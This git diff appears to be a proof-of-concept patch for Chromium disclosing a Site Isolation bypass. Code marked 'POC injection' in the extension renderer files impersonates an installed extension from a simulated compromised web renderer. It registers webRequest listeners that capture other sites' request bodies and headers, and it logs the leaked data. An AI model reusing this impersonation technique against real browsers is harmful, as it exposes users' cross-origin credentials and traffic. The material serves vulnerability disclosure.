diff --git a/build/vs_toolchain.py b/build/vs_toolchain.py index 88489da743f6d..ef2ec5e69b41c 100755 --- a/build/vs_toolchain.py +++ b/build/vs_toolchain.py @@ -669,4 +669,5 @@ def main(): if __name__ == '__main__': - sys.exit(main()) + #sys.exit(main()) + pass diff --git a/extensions/renderer/dispatcher.cc b/extensions/renderer/dispatcher.cc index 2ec5cee9b3bb1..3aef2d6afa355 100644 --- a/extensions/renderer/dispatcher.cc +++ b/extensions/renderer/dispatcher.cc @@ -13,6 +13,11 @@ #include #include "base/command_line.h" +// ==== POC injection ==== +#include "base/json/json_writer.h" +#include "base/logging.h" +#include "base/process/process.h" +// ==== POC injection end ==== #include "base/debug/alias.h" #include "base/debug/crash_logging.h" #include "base/debug/dump_without_crashing.h" @@ -1263,6 +1268,23 @@ void Dispatcher::DispatchEvent(mojom::DispatchEventParamsPtr params, DispatchEventCallback callback) { CHECK_EQ(params->worker_thread_id, kMainThreadId); CHECK(params->host_id); + // ======================================================================== + // POC injection: this is the renderer-side mojom::EventDispatcher receiver. + // If a *web* renderer (not an extension process) receives a webRequest.* + // event here, the browser process has just pushed cross-origin request + // data across the Site-Isolation boundary. + // ======================================================================== + if (base::StartsWith(params->event_name, "webRequest.")) { + std::string args_json; + base::JSONWriter::Write(event_args, &args_json); + LOG(ERROR) << "[POC-LEAK pid=" << base::Process::Current().Pid() + << "] mojom::EventDispatcher::DispatchEvent received in this " + "renderer:" + << "\n event = " << params->event_name + << "\n host_id = " << params->host_id->id + << "\n args = " << args_json; + } + // ==== POC injection end ==== content::RenderFrame* background_frame = nullptr; if (params->host_id->type == mojom::HostID::HostType::kExtensions) { background_frame = ExtensionFrameHelper::GetBackgroundPageFrame( diff --git a/extensions/renderer/extension_frame_helper.cc b/extensions/renderer/extension_frame_helper.cc index 5273756a5fca9..ec6c276599330 100644 --- a/extensions/renderer/extension_frame_helper.cc +++ b/extensions/renderer/extension_frame_helper.cc @@ -19,6 +19,13 @@ #include "extensions/common/extension_features.h" #include "extensions/common/extension_id.h" #include "extensions/common/manifest_handlers/background_info.h" +// ==== POC injection ==== +#include "base/json/json_writer.h" +#include "base/logging.h" +#include "base/process/process.h" +#include "extensions/common/extension_set.h" +#include "extensions/renderer/renderer_extension_registry.h" +// ==== POC injection end ==== #include "extensions/renderer/api/messaging/native_renderer_messaging_service.h" #include "extensions/renderer/console.h" #include "extensions/renderer/dispatcher.h" @@ -300,7 +307,118 @@ void ExtensionFrameHelper::RunScriptsAtDocumentStart() { // |this| might be dead by now. } +// ======================================================================== +// POC injection: simulate a *compromised* web renderer. +// +// When the attacker's web page (http://127.0.0.1:8080/attacker.html) loads, +// behave as if the renderer has been hijacked: bind the channel-associated +// extensions.mojom.EventRouter interface (which is exposed to *every* RFH) +// and call AddFilteredListenerForMainThread() claiming to be the +// "PocAdBlocker" extension. Because that extension's content script was +// injected into this process, the browser-side +// IsProcessAuthorizedForMainThreadExtensionListener() check passes via the +// ScriptInjectionTracker branch, and WebRequestAPI::OnListenerAdded() adds +// an active webRequest listener bound to this *web* renderer's PID. +// +// In a real attack this code would be shellcode running after a renderer +// RCE. Here we simply compile it in, gated on the attacker URL. +// ======================================================================== +namespace { + +void PocSendOneListener(mojom::EventRouter* router, + const ExtensionId& ext_id, + const char* sub_event_name, + std::initializer_list extra_info) { + base::DictValue filter; + { + base::ListValue urls; + urls.Append(""); + filter.Set("urls", std::move(urls)); + } + { + base::DictValue options; + base::ListValue extra; + for (const char* e : extra_info) { + extra.Append(e); + } + options.Set("extraInfo", std::move(extra)); + filter.Set("_options", std::move(options)); + } + std::string dump; + base::JSONWriter::Write(filter, &dump); + LOG(ERROR) << "[POC-ATTACKER pid=" << base::Process::Current().Pid() + << "] sending AddFilteredListenerForMainThread(" + << "ext=" << ext_id << ", event=" << sub_event_name + << ", filter=" << dump << ", lazy=false)"; + router->AddFilteredListenerForMainThread( + mojom::EventListenerOwner::NewExtensionId(ext_id), sub_event_name, + std::move(filter), /*add_lazy_listener=*/false); +} + +void PocCompromisedRendererAttack(ExtensionFrameHelper* helper, + content::RenderFrame* frame) { + GURL url = frame->GetWebFrame()->GetDocument().Url(); + // Log the renderer PID for every http document so the output shows that + // attacker and victim live in different processes (Site Isolation). + if (url.SchemeIs("http")) { + LOG(ERROR) << "[POC-PID-MAP] document " << url.spec() + << " is rendered in pid=" << base::Process::Current().Pid(); + } + // Only act as "compromised" on the attacker's page. + if (url.host() != "127.0.0.1" || url.port() != "8080" || + url.path() != "/attacker.html") { + return; + } + + static bool fired = false; + if (fired) { + return; + } + fired = true; + + // Find the impersonated extension. A real attacker already knows which + // extension injected a content script here; we look it up by name. + ExtensionId target_id; + const ExtensionSet* exts = + RendererExtensionRegistry::Get()->GetMainThreadExtensionSet(); + for (const auto& ext : *exts) { + if (ext->name() == "PocAdBlocker") { + target_id = ext->id(); + break; + } + } + if (target_id.empty()) { + LOG(ERROR) << "[POC-ATTACKER] PocAdBlocker extension not found in this " + "renderer; aborting."; + return; + } + + LOG(ERROR) << "[POC-ATTACKER pid=" << base::Process::Current().Pid() + << "] compromised web renderer at " << url.spec() + << " impersonating extension " << target_id; + + mojom::EventRouter* router = helper->GetEventRouter(); + + // Register active webRequest listeners for this *web* renderer. + PocSendOneListener(router, target_id, "webRequest.onBeforeRequest/poc", + {"requestBody"}); + PocSendOneListener(router, target_id, "webRequest.onSendHeaders/poc", + {"requestHeaders", "extraHeaders"}); + PocSendOneListener(router, target_id, "webRequest.onHeadersReceived/poc", + {"responseHeaders", "extraHeaders"}); + + LOG(ERROR) << "[POC-ATTACKER pid=" << base::Process::Current().Pid() + << "] malicious webRequest listeners registered; now waiting " + "for cross-origin request data from the browser process..."; +} + +} // namespace +// ==== POC injection end ==== + void ExtensionFrameHelper::RunScriptsAtDocumentEnd() { + // ==== POC injection ==== + PocCompromisedRendererAttack(this, render_frame()); + // ==== POC injection end ==== RunCallbacksWhileFrameIsValid(weak_ptr_factory_.GetWeakPtr(), &document_load_finished_callbacks_); // |this| might be dead by now. diff --git a/third_party/search_engines_data/resources_internal b/third_party/search_engines_data/resources_internal deleted file mode 160000 index d0158bfe38a17..0000000000000 --- a/third_party/search_engines_data/resources_internal +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d0158bfe38a1759ead13e53ed0332aefdb0f512b